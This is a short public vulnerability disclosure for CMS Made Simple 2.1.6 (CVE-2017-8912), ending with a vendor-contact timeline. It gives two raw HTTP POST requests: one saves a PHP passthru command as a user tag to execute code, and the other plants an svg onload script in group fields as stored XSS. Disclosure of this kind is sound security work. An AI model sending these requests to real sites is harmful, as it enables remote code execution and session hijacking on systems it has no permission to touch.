CMS Made Simple 2.1.6 - Multiple Vulnerabilities

# Title:             CMSMS 2.1.6 Multiple Vulnerabilities

# Date:              10-05-2017

# Tested on:         Windows 8 64-bit

# Exploit Author:    Osanda Malith Jayathissa (@OsandaMalith)

# Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/

# CVE: CVE-2017-8912



Remote Code Execution

======================



POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1



_sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1 





Stored XSS 

==========



POST /cmsms/admin/addgroup.php HTTP/1.1



_sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true





Disclosure Timeline

====================



09-05-2017: Reported to the vendor

09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :)

10-05-2017: Public disclosure

11-05-2017: Assigned CVE-2017-8912